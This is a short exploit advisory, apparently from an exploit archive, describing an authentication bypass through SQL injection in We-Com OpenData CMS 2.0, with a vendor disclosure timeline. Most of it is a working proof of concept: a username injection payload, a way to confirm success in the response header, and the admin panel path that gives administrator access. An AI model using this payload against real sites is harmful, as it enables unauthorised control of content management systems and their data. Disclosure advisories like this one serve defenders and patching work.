We-Com OpenData CMS 2.0 SQL Injection Vulnerability

# Exploit Title: We-com OpenData CMS 2.0 Authentication Bypass / SQL Injection
# Exploit Author: @ThelastVvV
# Vendor Homepage: https://www.we-com.it/
# Version: 2.0
# Tested on: 5.5.0-kali1-amd64


---------------------------------------------------------


Vendor contact timeline:


2020-05-05: Contacting vendor through  [email protected]
2020-05-26: A Patch is published in the version
2020-06-01: Release of security advisory




Authentication Bypass / SQL Injection in the opendata 2.0 CMS

PoC:

Payload(s)
USERNAME: admin' or '1' = '1'; -- - 

PASSWORD: vvv

the SQL injection attack has resulted in a bypass of the login,to confirm you will get a reponse in header of the page with "okokokokokokokokokokokokokok"

But will not redirect you  to the control panel so you wil need to do it manual 

https://www.site.gov.it/admin/?mod=mod_admin

and we are now authenticated as "adminstrator".

#  0day.today [2020-07-19]  #